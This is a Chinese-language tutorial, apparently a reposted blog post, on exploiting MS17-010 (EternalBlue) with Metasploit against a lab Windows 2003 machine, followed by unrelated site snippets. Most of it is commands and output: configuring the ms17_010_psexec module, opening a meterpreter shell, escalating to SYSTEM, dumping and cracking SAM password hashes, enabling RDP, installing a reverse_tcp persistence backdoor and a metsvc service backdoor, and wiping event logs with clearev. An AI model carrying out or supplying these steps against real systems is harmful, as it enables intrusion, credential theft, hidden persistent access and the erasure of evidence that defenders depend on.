MS17-010(永恒之蓝)远程溢出漏洞

摘要:
MS17-010(永恒之蓝)远程溢出漏洞==分割==MS17-010远程溢出漏洞(CVE-2017-0143)描述继2016年8月份黑客组织ShadowBrokers放出第一批NSA“方程式小组”内部黑客工具后,2017年4月14日,ShadowBrokers再次公布了一批新的NSA黑客工具,其中包含了一个攻击框架和多个Windows漏洞利用工具。攻击者利用这些漏洞可以远程获取Windows系统权限并植入后门。针对此次泄露的漏洞,微软提前发布了安全公告MS17-010,修复了泄露的多个SMB远程命令执行漏洞。由于此次泄露的漏洞覆盖了大部分常见的Windows版本(包括微软不再提供更新服务的WindowsXP和WindowsServer2003),网络空间中仍然存在大量可被入侵的设备永恒之蓝漏洞是通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。漏洞影响Windows版本包括但不限于:WindowsNT,Windows2000、WindowsXP、Windows2003、WindowsVista、Windows7、Windows8,Windows2008、Windows2008R2、WindowsServer2012SP0。目前在Metasploit上集成的攻击载荷是ms17_010_psexec和ms17_010_eternalblue环境准备1.防火墙允许SMB流量进出2.缺少MS17-010补丁实验配置1.基于kali的metasploit攻击框架2.靶机(Windows2003R2)ip:192.168.233.146信息收集nmap--script=vuln192.168.233.146根据以下扫描结果可以看出,192.168.233.146靶机上存在ms17-010漏洞,从而我们可以在metasploit中查找是否存在相应的模块可以利用。漏洞利用msfconsole在终端输入命令msfconsole命令即可在kalilinux中启动Metasploit工具searchms17-010search命令后跟上关键字即可模糊查找指定模块useexploit/windows/smb/ms17_010_psexec使用use命令后跟上模块名,即可进入该模块环境下使用其进行渗透作业showoptions使用showoptions命令列出当前使用的模块正确运行所需要配置的所有参数(根据Required字段值来判断对应参数是否为必填项)附上这三步的截图:配置环节使用set命令对某个参数进行设置(同时启用该参数),使用unset命令可以禁用相关参数msf5exploit(windows/smb/ms17_010_psexec)>setDBGTRACEfalseDBGTRACE=>falsemsf5exploit(windows/smb/ms17_010_psexec)>setLEAKATTEMPTS99LEAKATTEMPTS=>99msf5exploit(windows/smb/ms17_010_psexec)>setNAMED_PIPES/usr/share/metasploit-framework/data/wordlists/named_pipes.txtNAMED_PIPES=>/usr/share/metasploit-framework/data/wordlists/named_pipes.txtmsf5exploit(windows/smb/ms17_010_psexec)>setrhost192.168.233.146rhost=>192.168.233.146msf5exploit(windows/smb/ms17_010_psexec)>setrhosts192.168.233.146rhosts=>192.168.233.146msf5exploit(windows/smb/ms17_010_psexec)>setrport445rport=>445msf5exploit(windows/smb/ms17_010_psexec)>setSHAREADMIN$SHARE=>ADMIN$配置完成后要正常使用模块所必需配置的参数,即可使用run命令来运行此模块。从下面输出可以看出,我们已经利用ms17_010漏洞模块成功侵入目标服务器,并打开了一个meterpreter的shell。这个里面我们可以直接输入dos命令来对系统进行操作:例如可以查下ip、创建用户、开启远程等。可以使用ifconfig查看一下IP成功!后渗透阶段先介绍一下MeterpreterMeterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。help命令(查看在meterpreter模块下执行的命令)发现了sysinfo//查看系统信息getsystem//提升到system权限hashdump//到处SAM数据库的内容SAM简介SAM是windows系统的一个系统用户账号管理文件。其全称为securityaccountmanager。Windows中对用户账户的安全管理使用了安全账号管理器SAM(securityaccountmanager)的机制,安全账号管理器对账号的管理是通过安全标识进行的,安全标识在账号创建时就同时创建,一旦账号被删除,安全标识也同时被删除。安全标识是唯一的,即使是相同的用户名,在每次创建时获得的安全标识都时完全不同的。因此,一旦某个账号被删除,它的安全标识就不再存在了,即使用相同的用户名重建账号,也会被赋予不同的安全标识,不会保留原来的权限。其文件位置:C:windowssystem32configSAM其格式是用户名称:RID:LM-HASH值:NT-HASH:::在Windows系统下,有两大hash,分别是LMHASH&NTHASH对于NTHASH,我们直接可以在cmd5网站进行解密,解密Administrator用户密码为redhatmsfexploit(windows/smb/ms17_010_psexec)>runpost/windows/manage/enable_rdp//打开目标服务器的远程连接msfexploit(windows/smb/ms17_010_psexec)>exploitmeterpreter>portfwdadd-l2222-r192.168.135.136-p3389//反弹目标的3389端口到本地的2222端口并监听该端口[*]LocalTCPrelaycreated::2222<->192.168.135.136:3389meterpreter>portfwd//查看是否反弹成功ActivePortForwards====================IndexLocalRemoteDirection-------------------------0.0.0.0:2222192.168.135.136:3389Forwardtotalactiveportforwards.root@kali:~#netstat-an|grep"2222"//我们在kali查看2222端口是在监听状态tcp000.0.0.0:22220.0.0.0:*LISTENroot@kali:~#rdesktop127.0.0.1:2222//连接本地的2222端口反弹到目标的3389端口,即打开目标的桌面meterpreter>ps//查看系统进程ProcessList============PIDPPIDNameArchSessionUserPath------------------------------0[SystemProcess]0Systemx860NTAUTHORITYSYSTEM2792mstsc.exex860NTAUTHORITYSYSTEMC:WINDOWSsystem32mstsc.exe4smss.exex860NTAUTHORITYSYSTEMSystemRootSystem32smss.exe808explorer.exex860LOUISNIEAdministratorC:WINDOWSExplorer.EXE264csrss.exex860NTAUTHORITYSYSTEM??C:WINDOWSsystem32csrss.exe264winlogon.exex860NTAUTHORITYSYSTEM??C:WINDOWSsystem32winlogon.exe336services.exex860NTAUTHORITYSYSTEMC:WINDOWSsystem32services.exe336lsass.exex860NTAUTHORITYSYSTEMC:WINDOWSsystem32lsass.exe1744wuauclt.exex862LOUISNIEAdministratorC:WINDOWSsystem32wuauclt.exe384vmacthlp.exex860NTAUTHORITYSYSTEMmeterpreter>migrate292//将该会话和系统进程绑定,免杀.格式是:migratePIDmeterpreter>execute-H-i-fcmd.exe//创建新进程cmd.exe,-H不可见,-i交互-f用系统命令去执行meterpreter>kali1569//杀死进程,格式是:kaliPID  植入后门,维持控制msfexploit(windows/smb/ms17_010_psexec)>sessions-i2//开启第二个会话[*]Startinginteractionwith2...meterpreter>runpersistence-X-i5-p4445-r192.168.135.136//运行后门程序,-X指定启动的方式为开机自启动,-i反向连接的时间间隔[!]Meterpreterscriptsaredeprecated.Trypost/windows/manage/persistence_exe.[!]Example:runpost/windows/manage/persistence_exeOPTION=value[...][*]RunningPersistenceScript[*]Resourcefileforcleanupcreatedat/root/.msf4/logs/persistence/MYCOMPUTER_20190219.3953/MYCOMPUTER_20190219.3953.rc[*]CreatingPayload=windows/meterpreter/reverse_tcpLHOST=192.168.135.136LPORT=4445[*]Persistentagentscriptis99670byteslongmeterpreter>background[*]Backgroundingsession2...msfexploit(windows/smb/ms17_010_psexec)>backmsf>useexploit/multi/handler//使用exploit/multi/handler监听连入的backdoormsfexploit(multi/handler)>setpayloadwindows/meterpreter/reverse_tcp//设置载荷payload=>windows/meterpreter/reverse_tcpmsfexploit(multi/handler)>setlhost192.168.135.134//设置将反弹到本地来lhost=>192.168.135.134msfexploit(multi/handler)>exploit[*]StartedreverseTCPhandleron192.168.135.134:4444[*]Sendingstage(179779bytes)to192.168.135.136[*]Sleepingbeforehandlingstage...[*]Meterpretersession3opened(192.168.135.134:4444->192.168.135.136:2364)at2019-02-1921:42:12+0800[*]Sendingstage(179779bytes)to192.168.135.136[*]Sleepingbeforehandlingstage...[*]Meterpretersession4opened(192.168.135.1或者可以使用metsvc模块来留下后门metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件:metsvc.dllmetsvc-service.exemetsvc.exemsfexploit(multi/handler)>sessions-i2//选择一个会话meterpreter>runmetsvc//运行metsvc清除日志:meterpreter>clearev[*]Wiping1recordsfromApplication...[*]Wiping26recordsfromSystem...[*]Wiping2281recordsfromSecurity..
MS17-010远程溢出漏洞(CVE-2017-0143)

描述

继2016年 8 月份黑客组织 Shadow Brokers 放出第一批 NSA “方程式小组”内部黑客工具后,2017 年 4 月 14 日,Shadow Brokers 再次公布了一批新的 NSA 黑客工具,其中包含了一个攻击框架和多个 Windows 漏洞利用工具。攻击者利用这些漏洞可以远程获取 Windows 系统权限并植入后门。

针对此次泄露的漏洞,微软提前发布了安全公告 MS17-010,修复了泄露的多个 SMB 远程命令执行漏洞。由于此次泄露的漏洞覆盖了大部分常见的 Windows 版本(包括微软不再提供更新服务的 Windows XP 和 Windows Server 2003),网络空间中仍然存在大量可被入侵的设备

永恒之蓝漏洞是通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

漏洞影响

Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

目前在Metasploit上集成的攻击载荷是ms17_010_psexec和ms17_010_eternalblue

环境准备

1.防火墙允许SMB流量进出

2.缺少MS17-010补丁

实验配置

1.基于kali的metasploit攻击框架

2.靶机(Windows 2003 R2)

ip:192.168.233.146

信息收集

 nmap --script=vuln 192.168.233.146

根据以下扫描结果可以看出,192.168.233.146靶机上存在ms17-010漏洞,从而我们可以在metasploit中查找是否存在相应的模块可以利用。

MS17-010(永恒之蓝)远程溢出漏洞第1张

漏洞利用

msfconsole

在终端输入命令msfconsole命令即可在kali linux中启动Metasploit工具

MS17-010(永恒之蓝)远程溢出漏洞第2张

search ms17-010

search命令后跟上关键字即可模糊查找指定模块

use exploit/windows/smb/ms17_010_psexec 

使用use命令后跟上模块名,即可进入该模块环境下使用其进行渗透作业

show options

使用show options命令列出当前使用的模块正确运行所需要配置的所有参数(根据Required字段值来判断对应参数是否为必填项)

附上这三步的截图:

MS17-010(永恒之蓝)远程溢出漏洞第3张

配置环节

使用set命令对某个参数进行设置(同时启用该参数),使用unset命令可以禁用相关参数

msf5 exploit(windows/smb/ms17_010_psexec) > set DBGTRACE false 
DBGTRACE => false
msf5 exploit(windows/smb/ms17_010_psexec) > set LEAKATTEMPTS 99
LEAKATTEMPTS => 99
msf5 exploit(windows/smb/ms17_010_psexec) > set NAMED_PIPES  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt
NAMED_PIPES => /usr/share/metasploit-framework/data/wordlists/named_pipes.txt
msf5 exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.233.146
rhost => 192.168.233.146
msf5 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.233.146
rhosts => 192.168.233.146
msf5 exploit(windows/smb/ms17_010_psexec) > set rport 445
rport => 445
msf5 exploit(windows/smb/ms17_010_psexec) > set SHARE ADMIN$
SHARE => ADMIN$

MS17-010(永恒之蓝)远程溢出漏洞第4张

配置完成后要正常使用模块所必需配置的参数,即可使用run命令来运行此模块。

MS17-010(永恒之蓝)远程溢出漏洞第5张

从下面输出可以看出,我们已经利用ms17_010漏洞模块成功侵入目标服务器,并打开了一个meterpreter的shell。这个里面我们可以直接输入dos命令来对系统进行操作:例如可以查下ip、创建用户、开启远程等。

可以使用ifconfig查看一下IP

MS17-010(永恒之蓝)远程溢出漏洞第6张

成功!

后渗透阶段

先介绍一下Meterpreter

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。

help命令 (查看在meterpreter模块下执行的命令)

MS17-010(永恒之蓝)远程溢出漏洞第7张

发现了sysinfo //查看系统信息

MS17-010(永恒之蓝)远程溢出漏洞第8张

getsystem //提升到system权限

MS17-010(永恒之蓝)远程溢出漏洞第9张

hashdump //到处SAM数据库的内容

MS17-010(永恒之蓝)远程溢出漏洞第10张

SAM简介

SAM是windows系统的一个系统用户账号管理文件。其全称为security account manager。Windows中对用户账户的安全管理使用了安全账号管理器SAM(security account manager)的机制,安全账号管理器对账号的管理是通过安全标识进行的,安全标识在账号创建时就同时创建,一旦账号被删除,安全标识也同时被删除。安全标识是唯一的,即使是相同的用户名,在每次创建时获得的安全标识都时完全不同的。因此,一旦某个账号被删除,它的安全标识就不再存在了,即使用相同的用户名重建账号,也会被赋予不同的安全标识,不会保留原来的权限。
其文件位置:C:windowssystem32configSAM

其格式是 用户名称:RID:LM-HASH值:NT-HASH:::

在Windows系统下,有两大hash,分别是LM HASH&NT HASH

对于NT HASH,我们直接可以在cmd5网站进行解密,解密Administrator用户密码为redhat

msf exploit(windows/smb/ms17_010_psexec) >run post/windows/manage/enable_rdp //打开目标服务器的远程连接
 
msf exploit(windows/smb/ms17_010_psexec) >exploit
meterpreter > portfwd add -l 2222 -r 192.168.135.136 -p 3389  //反弹目标的3389端口到本地的2222端口并监听该端口
[*] Local TCP relay created: :2222 <-> 192.168.135.136:3389
meterpreter > portfwd    //查看是否反弹成功
 
Active Port Forwards
====================
 
   Index  Local         Remote                Direction
   -----  -----         ------                ---------
     0.0.0.0:2222  192.168.135.136:3389  Forward
total active port forwards.
 
root@kali:~# netstat -an | grep "2222"  //我们在kali查看2222端口是在监听状态
tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN    
root@kali:~# rdesktop 127.0.0.1:2222 //连接本地的2222端口反弹到目标的3389端口,即打开目标的桌面
 
meterpreter > ps  //查看系统进程
 
Process List
============
 
 PID   PPID  Name               Arch  Session  User                          Path
 ---   ----  ----               ----  -------  ----                          ----
    0     [System Process]                                               
    0     System             x86   0        NT AUTHORITYSYSTEM          
  2792  mstsc.exe          x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mstsc.exe
  4     smss.exe           x86   0        NT AUTHORITYSYSTEM           SystemRootSystem32smss.exe
  808   explorer.exe       x86   0        LOUISNIEAdministrator        C:WINDOWSExplorer.EXE
  264   csrss.exe          x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32csrss.exe
  264   winlogon.exe       x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32winlogon.exe
  336   services.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32services.exe
  336   lsass.exe          x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32lsass.exe
  1744  wuauclt.exe        x86   2        LOUISNIEAdministrator        C:WINDOWSsystem32wuauclt.exe
  384   vmacthlp.exe       x86   0        NT AUTHORITYSYSTEM
 
meterpreter > migrate 292 //将该会话和系统进程绑定,免杀.格式是:migrate PID
 
meterpreter > execute -H -i -f cmd.exe //创建新进程cmd.exe,-H不可见,-i交互 -f用系统命令去执行
 
meterpreter > kali 1569  //杀死进程,格式是:kali PID

  植入后门,维持控制

msf exploit(windows/smb/ms17_010_psexec) > sessions  -i 2  //开启第二个会话
[*] Starting interaction with 2...
 
meterpreter > run persistence - X -i 5 -p 4445 -r 192.168.135.136 //运行后门程序,-X指定启动的方式为开机自启动,-i反向连接的时间间隔
 
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/MYCOMPUTER_20190219.3953/MYCOMPUTER_20190219.3953.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.135.136 LPORT=4445
[*] Persistent agent script is 99670 bytes long
 
meterpreter > background
[*] Backgrounding session 2...
msf exploit(windows/smb/ms17_010_psexec) > back
msf > use exploit/multi/handler    //使用exploit/multi/handler监听连入的backdoor
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp  //设置载荷
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.135.134  //设置将反弹到本地来
lhost => 192.168.135.134
msf exploit(multi/handler) > exploit
 
[*] Started reverse TCP handler on 192.168.135.134:4444
[*] Sending stage (179779 bytes) to 192.168.135.136
[*] Sleeping before handling stage...
[*] Meterpreter session 3 opened (192.168.135.134:4444 -> 192.168.135.136:2364) at 2019-02-19 21:42:12 +0800
[*] Sending stage (179779 bytes) to 192.168.135.136
[*] Sleeping before handling stage...
[*] Meterpreter session 4 opened (192.168.135.1

或者可以使用metsvc模块来留下后门

metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件:

  • metsvc.dll

  • metsvc-service.exe

  • metsvc.exe

    msf exploit(multi/handler) > sessions -i 2 //选择一个会话
    meterpreter > run metsvc //运行metsvc

    清除日志:

    meterpreter > clearev
    [*] Wiping 1 records from Application...
    [*] Wiping 26 records from System...
    [*] Wiping 2281 records from Security..

免责声明:文章转载自《MS17-010(永恒之蓝)远程溢出漏洞》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇nginx upstream 名称下划线问题springCloud组件详细解析下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

随便看看

es6 解构赋值

functiondemo(){return{"name":"张三","age":21}}var{name,age}=demo();console.log;//结果:张三console.log;//结果:21三、定义函数参数functiondemo{console.log;console.log;console.log;}demo;四、函数参数的默认值传统的参...

layui 学习笔记(四) 复杂表头前台Excel导出

merges':mergeConf,'!cols':colConf,'!rows‘:rowConf}});}@...

微信支付服务商模式支付与普通微信支付的配置区别

chapter=7_7&index=5注:与普通微信支付相比,源代码是上述7/8之间的区别,其他可以看作是服务提供商自己的微信支付配置;...

差分方程的零输入响应与零状态响应

差分方程的迭代分析方法有以下缺点:没有闭合解,不利于数学分析。某个时间的输出只能从头开始计算。本文介绍了差分方程的零输入响应和零状态响应分析方法。对于系统,这种分析方法可以很好地表达系统响应的物理意义=Y[-1]=0$Input Y[n]。回顾零输入响应和零状态响应的迭代计算,我们发现以下规则:$egin{align*}y[0]&=-&qqu...

Ubuntu 18.04 安装微信(附企业微信)

Ubuntu软件市场也是有的,所以安全性不用担心开源地址:https://github.com/geeeeeeeeek/electronic-wechat下面介绍几种安装的方式:1.直接解压运行先选择你系统版本:解压一下:tar-zxvfxxx.tar.gz算了,还是简单为新手分析一下==》tar命令可以解包.tar和.tar.gz。为啥我的没有微信图标?...

H3C 12508 收集诊断信息

案例:H3C12508单板卡出现remove状态,需要配合研发收集诊断信息。)总体:12500交换机返回三种文件----故障时诊断信息,主备单板的日志文件,主备单板的诊断日志操作步骤:一、故障时诊断信息:disdiagnostic-informationdiag收集必须在问题出现的时候,单板重起之前执行。在save时请选择Y保存到CF卡方式。一般情况下,此命...